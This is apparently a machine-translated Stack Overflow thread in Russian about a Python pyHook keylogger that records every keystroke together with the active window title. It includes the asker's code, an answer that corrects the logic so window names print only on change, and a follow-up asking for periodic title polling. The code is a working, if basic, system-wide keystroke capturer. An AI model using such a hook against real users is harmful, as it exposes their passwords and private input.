2013-03-05 2 views
0

Это код для python keylogger и заголовок заголовка окна, но я не могу их захватить в одно и то же время.Python - заголовок окна и кейлоггер

import pythoncom, pyHook ,time 

def OnKeyboardEvent(event): 
      keylog= chr(event.Ascii) 

      print keylog 
      key = event.WindowName 
      print key 
      time.sleep(0.1) 
      if(key==event.WindowName): 
       pass 
      else: 
       key = event.WindowName 
       print key 

hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent 
hm.HookKeyboard() 
pythoncom.PumpMessages() 

Выход подобен

меню Пуск б меню Пуск C Запуск меню д cmd.exe

и мне это нужно, как

Start Menu аЬс

cmd.exe d

ответ

1

Ваш код на самом деле не имеет никакого смысла. Давайте пройдем через то, что он делает:

 keylog= chr(event.Ascii) 

     print keylog 

Это печатает нажатой клавишу.

 key = event.WindowName 
     print key 

Это печатает название окна. Я не уверен, почему вы вставляете его в переменную под названием key, когда это не ключ, но это не меняет того, что она делает.

 time.sleep(0.1) 

Это делает паузу, предположительно, чтобы вы могли пропустить ключи, если пользователь вводит слишком быстро?

 if(key==event.WindowName): 
      pass 

Это всегда верно, так как вы настроили key = event.WindowName ранее, а event объект не изменится на лету.

 else: 
      key = event.WindowName 
      print key 

Это никогда не происходит, как объяснялось выше. Но, если бы это было так, это установило бы key на значение, которое оно уже имеет (имя окна), и распечатать его снова.

Мое предположение, что вы, , пытаетесь сделать, чтобы напечатать только имя окна, если оно отличается от последнего времени или что-то в этом роде? Быстрый & грязный способ сделать это с глобальной переменной:

lastWindow = None 

def OnKeyboardEvent(event): 
    global lastWindow 

    window = event.WindowName 
    key = chr(event.Ascii) 

    if window != lastWindow: 
     print window 
     lastWindow = window 

    print key 

Итак, в тестовом случае, вместо этого:

a Start menu b Start menu c Start menu d cmd.exe 

Вы должны получить это:

Start menu a b c cmd.exe d 

(Хотя на самом деле вы собираетесь использовать их на отдельных строках, а не в пространстве, потому что ваш код просто print keylog и print key, и я сделал то же самое. хотите, чтобы все они были на одной линии, поместили запятую в конец каждого print.)

+0

Здравствуйте, Спасибо за ваш ответ. Ваш код немного помог мне в том, что я получаю. 'Start Menu б с d' Теперь он делает дубликаты записей для WindowTitle, но теперь я некоторые проблемы 1. Это делает новую строку для каждой буквы. 2. Теперь он захватывает название заголовка окна только тогда, когда нажата клавиша, и я хочу, чтобы он получил имя заголовка окна после каждого .1 секунды. 3. Он не проверяет имя названия окна, если клавиша не нажата. Надеюсь, вы могли бы помочь мне в этом. Спасибо – user2137297

 Смежные вопросы

  • Нет связанных вопросов^_^